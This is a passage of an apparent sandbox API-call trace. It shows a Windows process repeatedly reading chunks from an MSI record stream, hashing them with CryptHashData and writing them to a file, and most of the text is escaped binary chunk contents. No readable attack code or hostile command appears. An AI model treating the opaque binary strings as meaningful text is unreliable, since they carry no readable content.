lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.353] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Z¶\x9a\x87\x1e\x8e\x8c\x18\x1e÷]q/éßã\x84n\x91\x0ck4Önëy×¾C[¡»:Hk¼49®W\x1eЯáÃñ¨a©Çª\x1eÔ-P\x07½Ì\x8b%×) ßnà¾?Bá§ÓY\x8a\x99\x19%\x9ei\x15Nü\x1eªú\x1d+\x81»\r½ñ¸â\x81{¡…+\x7fÈÐãf\x0261ÅÂ;ãüï\x81Ï\x04¯ÉF\x93\x8aÍ\x05Ã\rZ^\x14OÝ<²Áq\"\x80¿\x7f}R", pcbDataBuf=0x21df03c) returned 0x0 [0147.354] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.354] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.354] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="«º\x9aWyu\x19L\x10ãj´Þe\x08ªËÕ´\x15èhË\x9aD\x9f5\x8f\x90/¢\x07©y£äÃJø\x17\x89\x1bã¦\x87", pcbDataBuf=0x21df03c) returned 0x0 [0147.356] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.356] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.356] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x89t\x9a(Ý\x83Ö]Å\x9b\x87è\x17\\ýOH¤ÜX[á\r/Öy…Ã\x1f\x1dsq¤ú\x1a\x0b·\n·;­`~\x0fÞ\x06bw\x03Ëq:ÉÃöÃ\x87Á4±X£¯¥Ý/i«îß\x83tQ÷©2t\x94+¥\x1d\x96\x9bc¦\x914+\x12\x05­ÔJU\x9a½dí\x15!ð:s#]\x93>ý\x93\x02fï\x06T=Þ\x7fKub½ªwú)¨íÌ#JDNÐ", pcbDataBuf=0x21df03c) returned 0x0 [0147.357] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.357] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.358] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x16…\x8f2\x9dQÌ1\x84&û¶\x08¢Wûz~FåqX\x84þ!ðÂ\x16\x03\x97/»KR°3V\x95½ª\x11\x7f\x81c\x1dÕ§\x8c\x02|`$\x9a\x96\x08iQXJØ$\x09Â\x14", pcbDataBuf=0x21df03c) returned 0x0 [0147.359] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.359] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.359] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Sì*ǵѾ\x03\x18\x93üäN[y)\x98a\x98ÅÙö]!EØ\x97\x8b", pcbDataBuf=0x21df03c) returned 0x0 [0147.360] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.360] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.360] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x9f\x8d9ü\x1d¸gW\x0f{¨üS/Òaý\x0cÚ\x93Ò/\x9aKi¼Ù\x0f(n\x97å\x16ÉåÁ\x09\x95Ut¨±K³`q»\x8aW\x9dÓ\x09ó\x15\x88i \x95\x1fHçÍè\x06Or©\x81f\x9a.Õn\x02ìÛF\x09TsvÀKS \x1bÇ*@7±ÌmYE\x195Xi\x99\x05 Ï¦g|\x80y\x94½E\x185!\x11\x87\x8d_¤ê`[« ÙAü {¿\x18ÁrM\x94©GyÔj\x8bÖ\x1dÇ¿üüÝß\x88Qâ\x8fFýó7àxþ\x0fâ\r°Ö\x13®\x05Ýd3U\x8d+Z¢$\x0bì&í\x94^bñ\x8cÒ.\x93ön\x10\x87\x80óâþ-LÔ\x19PÒª5õM_t\x9dê\x18êèu±whK¡-7Ê<¡kÔs¶\x98B@äÞ¹¡¹4\x93s±Ø\x04ßÎn£\x0eh6äðßc\x9d\x08\x19¨\x1ay8Qä¸\rI½s°'\x1d\x0e\x15ÃÅ6aÇî\x8fbºÛa½ÉzO\x08ÛfKÄb¶½í)ù:%ÑEx;6tÌC\x8bĶÈ't\x0b>\x13\x0e¶ÖÊ`5\x89\x1d\x05\x94¹\x8d\x1fy¢\x101ç\x17ªàêq<|Úv¶ðù¯ß\x02\x97µùm\x1d\x0eÐg±ü\x05ÿÈ.®±ô\x93\x1b`¡I\x9c5¢\x84Wð\x10\x07×z¼¶\nm D…¸\x92ö\x89$LÈb\x15½JZ\n£î \x95%_þpÜ3È\x0c5\x1b\x1a\x1293ù\x93+Í«\x7f® ÎÝÓ\x1d\x1aêêós]\x9d\x1c22\x0eì\x90ÈvØ\x0fR]`æNyP\x15\x1e§a\x04\x1b¶É&å\x98W26àhÈi^«2i\x9aq\x1f\\³Ñ\x06Ôe(0\x95\x0c÷\x94Ó\x08\x08\x1aLÜjÈý*,m½IÜy\x11¹ãuúd§\x7f\x86Lðî\nR\x11~\x93]¹Æ\x99\x95\x8a Älü\x12½¥ïQ\x86®\x19(òt¡ìNäÈ8Õ7kօ\x8e®LR9Å]\x9dßVâ²µ\x9b\x9e!Keë\x94|û\x15á]y_v\x13¤ï4\x9f\x0brÃÄ¡!P\x1fQ©m\x9f\"ñ%\x86I\x1ciÛ¥\x02Ì\x9cåÛ.Wº\x15F y!ß\x9fQ\x9fدØ6H`d\x12÷a\x82+\x1az\x1eC&ø\x8d\"h\x80/³u\\AºØ\x17\x05XSé0Ó²7åê\x11x¥w\x89\x9f\x8c\x9e8÷ã÷¸¿\x9dÛÐ^\x83h^¨¼ÿIJ\x87HÂ+e~ÿèlA\r+Æ\x11¶\x07v\x0e&Ê\x06\x11d\x7fµ©Xû!Þðå\x06ê)l+â#yß\x16µÆ 6N\x1d¶\x0cÅ\x99§úͯ\x10õö\r\x01à #ýlm1Ýy\x89\x89WÎ{$E ü8ÈÙô$\x8e¨ãê&¼ý\x14¹\x1dÔÛ3{\x05¹/ºs*#\x11£`ß9\x9e\x88\x18.È®ª\x9e\x9e[MÞ¼0,Ê\x92~.¥P6_d|\x98\x9c\x054£\x1aÌfa=[²¢ÜýáÉ\x8f\x04;¹s®ÐK6`…øë\x97ÚÂúg*\x97M\x1cf2kV®\x11\x07¾f_Ü­i\x12í\x18®¥ûñÙ\x9ec\"\x03:¦G.?V\x10Þf,Á\x95-R\x07¹,;`ʤ\x1d¢oM_\x1dß\x83¹ÖXdv·»å\x8fìÊ\x97rÎÌ2#¸='º&\x1a\x04¸Ð;xggnð\x13fþé\"&)ýõm&Ï è\x88;a{`Ùþ1 0ºbç÷â\x09\x97\x1fKq\x8b\x18\x95d\\\x96}­\x8eVèKó.0õ\x97\x80ÜS¢\x11\x04%Ð*\x9a °8ão\x1a\x14\x9em\x1d\x19\x97öõ\x16\x96\x8bcþæ¨×ËøCÙäÂ\x8d\x8d+¾K¥cW\x05æ©Ã·¿åÖ\x1b\x99uÔïö\x1eC\x1fð:r¶·}W\x19a>d$\x08\x1d\x0e&É\x15®\x08¸§¹½\x8b\x18\x89ÐÄrc&mw£plÕ2Ï­Õ\x84\x9a¤Ñh\x86\x18üQß®£\x98Æ\x83ìªÑ\x98!²\x96èl\x12í7\x8b\x07\x0eê`-qTV\x97áÕÉH\x82\x9c7ܯûm^\x17B6eiô3\"D0\x8e\x8d\x8fý4Þ\x01¹lkv\x12üu~Ph:õ,ºë±ØOqsnó\x81\x0fËqÉÓ±\x1bé\x07¶k\x01Ë[¥E\x02+Å\x8a/\x13±:§\x7fC\x92Vd\x98\x8bì\x13Ô°\x82Rü\x07\x1b\x8d\x10օ\x050\x19õ8ü\x13,)áÓF\x07Cafù°ò¼T\"ÎGç»/\x8c\x88=\x15\x0cÏG14\x99Wä\x17Óó\x8edô\x15\x13Õ¾½ë\x19\x94ó¾Å", pcbDataBuf=0x21df03c) returned 0x0 [0147.370] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.370] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.370] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="°]C¢¨\n=lÊ\x13\x1a_Ô\x8blü'^ð@ê¦å\x8d\x0f\x1f\x16}<\x11¨u\x1dv\x80\x0cÃä3üBKQí­ÃÒO=âè\x1eĨȲ¼\x95$ü}y\x7f\x1eã¡f;j¿{ÛÃC\x0eä\x9d4±.p\x86ªX\x946a¡ÙJ*\x97[\x84u1sg3*\r\x14ÖФ$¦y\x98±ì6¹b\x0cÖ\x8e=Â\x9aa\x03\x8f\x0b\x02ûIùpö~\x1f\x88ÒNVf§ó\x06kl«\x0c\x05r|\x80¦?\x9d\x03\x86>`Û\x8c$\x1bÃ\x8f\x83j|Á\x86.\x1a¤ÐêÄ\x18\x0cë»o\x13\x7f´ÕKE_ì\x02R\x15biðfHóƬ^8Ó­Èò\x8dé\x17\x95Sì}«ýfó\x81\x1e¿}­I=~Ís\x83d¢\x1aЯ)\x95I\x81Òâf\x9c©0c\x01ì\x03\x99U|àÍæÖÀ\x19\x11²\x14Ñ\x0cæc-dÑ\x01?\x14!Ñ*¹Î\x11ßû\x97ï)ùuà\x04\x17]\x15\x80ö8&îé!aTêäf~\x82íÙUmap!óîbrØW\x05'\x83\x8f\x93*\x1fÆØt~ï<÷±Ì)\x8d8\x96\x8c\x83Ò_%\x9d\x83giS¼Ðd®\x99R,.ïdª'\x9fW\x91ÏøH\x7f\x9bÊ\x04ü\x1cBHa\ra2[ê$Îb¤\x7f\x8f}i\x09Æ,`\x992\x9e|#æX\" ²UDfÖbFþ;\x8e", pcbDataBuf=0x21df03c) returned 0x0 [0147.373] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.373] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.373] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="è×\x90rCØÃÞn«¼º\x0b\x14È\x0f\x03ás\x14´DëRÑÍ\x88¦vÚÎ\x93÷ȱKízX9-tUÔõÕ\x99¯&%ÕËP\x037©J&f\x192b\x0b¢\rÐ\x0b\x9c³«ý«|°é·kM§*ЅÌÒBf$\x89Q»²\x10Å\x06Õ\x80\x9f\x9eU¯¶\x10ÀêÁ\x1c]ñ}\x8a\x17\x9cñtá\\ª¹\x93\x15No\x16âëæ\x86\x8ceÖ>\nãÄ)\x95\x01¿³.=m¯Î6\x01*ÝÛË\x02çÀÕ\x0cľçª\x817jBÕnÛÙ#\x1aE§FEp_.>t\x9d®\x0c\x95\x88x«ôåC<¿8S\x12{A\x9b¡T·­B0öx\x8c\x09ê\x90®$És¥S¶à÷çðâ\x82\x96+l1Ö©D¿[\x0fäàAÊ%\x0e$Ķ¼q¢µ®\x05Ê]\x9c\x06wDM¼ê³âW\x9e#e:\x15=u\x1cOg\"l]\x16vó\x04ÞªÃë!±¾Év@µàÊ\x07`·~$úÀ\x8d®­\x99\x92\x82\x05\x86\x8b\x83¹øa¬8©¼Oîj>NÉ\x93i¯\x16[{NE2]\nä\x02 \x8dmíAø*WBÃÞ¤ÌIFm…mîö·\"\rny\x9eôç\x9f6ý3\x0fëÁ_1\x91Þ¼Ð\x8dà$¶\x93cÃ\r¡ÐÚYC\x97\x7f6¢°´¾\x0bç\x03ÏI'y\x86OÛúW\x99I\x89¥h\x83\x0ewo\x92í\x15§ÕG¦ûì'ò»\x86\x9a\x1eÀ(1\x15²\x032h6Ã궡\x1fXÏ0f^^Tu9õq\x91\x9a·Ô!`Ý¿³\x87·-¥Èò5\x03þqTOÑ q~å2C®òÙeÑ<2SO{Þ\x0eå\x15k\x10e¸uÅk+aµ8ÝvkºRú\x91i,ÚàA+(O2\x8dê\x09c/uæ}<\x87ñÊ(*ª\x9cï\x86ÊceA\x87Ê¥\x0b¸÷¯p", pcbDataBuf=0x21df03c) returned 0x0 [0147.374] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.374] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.374] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="M¦\x0e\x15\x09\x87·#ø\x91qm&Ñn ËqÖË8è-+D-\x03OÇ\x8e\x91_\x9cÏÊá-ä}\x01#û\r$\\ök¶¹\x8e\x81ÊÒäĹ\x9c©]\x11\x8aÿ£\"äö!ý\x17[6òåR¾\x82Ú\x99FÂ\x98\x07mÇ\x06ÙZâ\x01÷@ؼ\x06ßCŹ\x95Ci»\x8e\x93W\x05\x88\x14«ÏlÑ\x05ÔàÓßÁé/7îÚ", pcbDataBuf=0x21df03c) returned 0x0 [0147.375] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.375] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.376] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x18F\x17\x82yï\x8có|à×yE\x88\x94\x13=*>³\x10W¡Å\x1c#É®\x16¬Êúwe \x7f\x03\x7fÙ\r²MëHß=OPÄÁ\x8f½Ä\x9dJr,\x12ïLõE6\x99\x01ù\x04\r=\x8cÉßU\x8eC\\'¦\x9e\x7fR,¨§\x84+bd¤-\x06\x84\x82ó\x93\x1fÎ\x1c9\x12\x8c\x0c'ie\x8f\x8bºÇÞ-ª*øv\x88q×·³\x12\x94\x07G¯é­\x8b£6\x18g\x1a\x0f;Ç¡\"\x1b", pcbDataBuf=0x21df03c) returned 0x0 [0147.377] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.377] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.377] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x92\x9c¥±¤\x10g\x95UZ\x15ÛO \x88¿(èû&Kº\x9d\x05ö$\x12\x03*ÿûqö\x92Ógñý\x09^Ä¡\x88Ï©>ǤßN\x09S\x89µÂ¿¶\x0bf®[\x0b²\x15Âݶ¸\x1a-¯\x06AÂë\x9c4\x0bxµñNq\x93\x16\x0cçho½\x16Ø\x06c\x0czìS\x90Úh\x86¿4\x0fM?dZÈÑ\x8c¡\x18É~9\x8eìü;?zÜX·-\x87¬4¦±\x981\x9a1\x0fÆÞOãp4]\x83çß\x08…ÅCÆrKµ\x19÷ÜmÁ\x0f\x9dÈ\x12{hëû\x13³´Ý\x08mWò9\x8f\x12.\x04/J¢îÕ])ùUA¼ÕÚSðqã\x1aå\x82fN\x9a3ýJ¹\x1b¦F±«Ã\x8eÆ\x18 \x94\x02}S\x02ni A%·31ñI¶\x02\x91y…3®¾Lªyö\x871¼ô\x07ÒpS¬\x10¯Ô\x1eÃÉKG\x9c$Õ­d&ð\x9fá.¬ù*\rη\x91\x83@ó\x8c\\ü\x8c\x88¥\x93çû0¢íÚ\x8d\x01;*æª\x84\x1d\x96\x13Q_\x133è\x9cqN\x15·­-Pë\x82\x81\x82\x9cW³É\x83mÝ4mp +8Pp2ü\x8d¼Ò§ôÃ\x8e\x0fN\x03×\nvõO1\x01HäôaD#_\x94ø\x02ÃÏPyq2\x18 ]§M©¹)Ó\x8f8KS/ËW_¡\x87í\x1b3[\x9aµ\x90ýhg,a\x9e\x03:'úsv1ÕÝ\x8c¿PÜ©Z]mÊÔÁ\x10x¥Ú¦kÜn\x0b~\x04·¼\x05Àà\x8b¢\x02\x96\x12ÔqbhVm\x0bÓ\rض*ã! Ò\x09¼\x03b\\î\x84\x07TK\x04\x06³86ÖE7­pÀ¡½t4¼âF\x15\x93׫MS\x92\x98Û®\x08\x05$\x08\x1eO_gbi(HÍÎ\n{Ò mÃC\x9d\x09d \x81u4B¾\x1a}:¹ÑÊ\x06\x9e\x8eÕ>\x95iÔYY\x01\x0f¹D´µ­\x95\x05ÞÙÝÁÍUôs{M+¬½\x10À\x17\x8eÒ²¯à\x12\x98N\x84\x1fp\x90%+M\x98÷°×öôeT\x01\x9d\x13H\x03¢ø\x83\x93Å|ñ»\x90@\x9c°Ài¥sfÃq3ZÁ»Ú…Ì\x97qbS\x09|mtrÌä¢JÛ(®\x02¤\x96\x9fr\x8b;\x93*¸\x8fE'ådæ;\x0fà\x94T\x8d\x9dø\x15×7½åÑús\x9cýó°£'\x06?ÜÏÊÏþ^\x17ÛP\x82\x9c«·\x10yHnÝ\x0f\x81ËM\x86î\x17\x88qÈ0à\x19÷2©", pcbDataBuf=0x21df03c) returned 0x0 [0147.378] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.378] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.379] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="L\x9dæe×¢<\x13-\x88Å\x92\n/K+¿\"\x82cS`ÔÕ¾\x0f\x84¥<Øåø\x98\x1bô(Ó\x11·qD\x84¨î", pcbDataBuf=0x21df03c) returned 0x0 [0147.380] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.380] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.380] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ñg3\x98Loʾð\x81;_¼?üÙ¥ªÙûY\x90öë\x8a…lÚ¶IñÁREçg\x07_EKT\x06ù£+Cy\x9eI\x1eÓ\x9dþØ\x8f¼$1Æ8.S·\x01\x8c6\x1em\x9db\x1aärI¬ÈVÃǺ\x9d\x9b\x1eØ\x1f¡LóJ|\x12¨\x1eC\x90e\x97\x95d´m{¦\\¶n7\x8bÛ¯¢F³\x83 ´ÇÜàÆÑRÑT+_Gp&\x12Wϼw\x9dPnÖ\x98Þ0áCeaß° v\x95\x1cµBúC¨\x96UíÊOØVÿîì\x15S=\nªäÓöm*\x1f¸ \x17v\x0c/\x0f×Í3~àJ9·a£s¿o$\x8d¦©y\x88è\x81í\\÷âFNBý\x8eäEL~\x82lè©\x16\x9fÒ¡«°ÅyE\x91\x92d&ÖÈXF\x87AN", pcbDataBuf=0x21df03c) returned 0x0 [0147.390] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.390] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.392] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="þÊ6l\x03\x9f:¦²Ï\x19èÀÏ\x81¸Ú\x8f\x83\x99\x8f/;å°U\x1e3áÄ\x95§ºÒH¹¼æ\x1fkj?t(.˨\x87¤?Ä;Ýb\x8dq\x87÷\x1e\x88CF\x97Í;\x1f/[´¤1\x03Í­|òÿ\x90\x92\x041÷®à\x92÷~ô¢Ìj\x8782\x0b\x0cYÃã\x1c\x92Í}ô\x8a¼àm\x16s\x11ÑUµ\x7fÐÔ9²Cc\x9a~wQ§7©-\x0eP }Lä\x0f?Út\"\x9b¯I;k\x14W6P5\x89]k\x08tÖ£ö%N¾ÿ\x1a\x02r!\x0bÃ\x89úèT¥\x9aÁ*T\x08!ÉQ\x18{n\x8a\x1d\x7fX\x88\x18íÁ\x13¾xѪ£\x9e\x17Hhü&bT©6ôÅxî{\x1bc£èƅγC\x19\x18E#µÑTÞ7(\x11Úµ\x94C\x14\x84\x87|l\x9dÃ5\x87¶\x99L¢\x88\x0f#I\x94\x19L\x7fP\x99ý^8¨\x87\\G¤Ë\x10Ì\x91O»\x81\x8dÙ\x82\x0f0¬\x99õ&\x86\x05¯\x0f\x92Ä\x04£\x9dZ;ÒÙ\x82\x09ãJ\x93d_)1¥üBQ®\x83h©×\x8b>O\x86Þ}ó\x81¦\x1fH\x10*\x8e9ë\x13:>à\x16\x1cTíh\x0c\r`\x1bW³ì\x1e\x1dOT\x9dôI\x8bW\x9d\n\x01=æhvæÓÔ\x12\x068|é®T|Ú£\x7fß\x96ë\x04U¸ö§B0\x9aGe\x0b÷8\x15%Áûï\x19\x94«ºÙ¡ÛðU»s¨&»fµdlLT\x11\x82Û5\x84¡ÙQ\x80îà'ó$çaÝ7¨\x10)­ÐGã\x15\x92ÿÔ\x9cîÓ\x0e2Æ_\n\x9dY\x9dX²ØåÑ5R\x17\x04ÙC\x17\n/\x17yP\x9dÆ%Y\x84èfÉ&ë 8ÓÌÅj½ÑØçä\x8d\x99¬ÿ\x8a¯þ§\x9b®Î\x8c\x19@ÛeHö?\x83\x03R­\x1d\x8bé8¡qê,sßzó¾z\x90Î!r\x97XöÖð\x1d\x87fº\x83=\x8d\x1c\x9fØ\x88\x80\x81:VÑÙý\"\"g\x81t¾²²{Âá\x19\x04/\x04\x83\x0cÈá7\x01ºÉ3å&þ.ñ­\x9eãð¯è½\x8aßùÓ\x1bçpÃΦ\x1b¦í·àuºÝ\x16WÆÕl{¹çK\x1a2\x9fB$\x15­^\x86ó)\x82Ì\x08", pcbDataBuf=0x21df03c) returned 0x0 [0147.394] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.394] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.394] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ñ\x14\n[\x98hMÐ4\x9bÉ\x1e\x8fË\x11+\x96{Ñü;\x8bH)lU…\x06\x15Rç\x02ø\x9c\x18\x81\x84â¶\x11ìX=åèi\x81`²3Û\x89rÆ¡áãÐý\x0c8H\x84ß\x7f\x14%òÁ¸$À\x89å\x8eÐ\rÔ®20Ð\x0c\x06Ç\x9d°´h\x99&má\x1f9ƹ%ÿ-4¾Öxà´}¾=\x13NL\x8e yTç\x97bN¹³P\x1f\x7fT\x1f\x12Ðên\x8dDm6\"Oý³ß¨\x8edÊ\x12lÇ\x87\x9fOÛW\x9a7Ãc\x83\x1cÅ\x1ay¿>\"äý©``=\\\x9f\x99A29pÐ\x1bîs\x19ÞÖù1`.lè1çCÁ/Tù\x0b°\x83X±\x80~Õÿc\x150sËäuÀ\x03ûG_NéUc\x0f0Pfþ\x13#ì\x95$ë\"\x15S\x90cz±vötsW©¯Y#ó\x17Q\x9dk\x1d\x89ö±¯\x03­µ}¥M¬¸âºØtlÊ»(\"ÿ\x8a§ìLs=ä", pcbDataBuf=0x21df03c) returned 0x0 [0147.395] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.395] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.396] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="[À¡/{\x03ÇÇá±ì¦:ÎÆÊbþÉI\x1f×^+\x94\x9c#Xÿ¢\x9d\x8e\r\x02óMg¨\x88Ó\x07½gÓ\x83\nªF\x19¨ï!T&?\x1d2@ìì\x16\x939§\x95\x8aü\x90\x1bØâ\x9f\x887.©\x7f\x09\x8fïäα\x8cÆÆKÙÓúí\x8f<§`ÖÐÀnû\x1dá¨5|sþ'µ]\x1f\x09Ì}öUs\x7fôû\x138\x18ºýºúã¼\x98\"Æ\x1f_\x18\x97R3§Xl6c×BÑVF\x84\x89«\x80\x95-Þ\x9bêR·R\x01¬>ó¡\x91î\x16OñÅË\x93'sb®\n£\x80\x97 ¦\x89\x13±\x9d\x92j\x9d&+d\\wÉ\r±$eà\x19\x98¯ÐÙBH\x09\x9dé\x94ñ¿±'\x96Í\x1c\x89\x83Ö\x99hÝ\x90\x14\x1a8å\x12þ±èÅÄëÁöÄ\x80\x81\x1c,\x16\x08\x8cà\x8f{°ÁÕë\x88Mv3í\x95«R®\x92s¢ÉPy¤ù\nµ\x12Eq ¤EÙE\x99\x98ïETTÂ\x13¹/\x18Æà\x9aÄkCã®Qí\x97¿\x0b\x14ÿÍT\x18ø-IVBò\x9e,V´¦\x1dâpZ7¸©\x98\x81", pcbDataBuf=0x21df03c) returned 0x0 [0147.397] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.397] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.397] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ø\x86@\x16w>ÇÉçèÏÒ¸\x1d(±\x9cZ|ð\x11éÍ\x81ø\x12\x87À\x8ft-má\x01Í'\\hS\x06÷\x05v\x89ì92J\x8eq\x17©L\x065\x1cótÇj\x83¦Ö­£\x01\x11PÞ9\x87>\x8cê\x92Ê\x9cî·<5\x96P", pcbDataBuf=0x21df03c) returned 0x0 [0147.400] 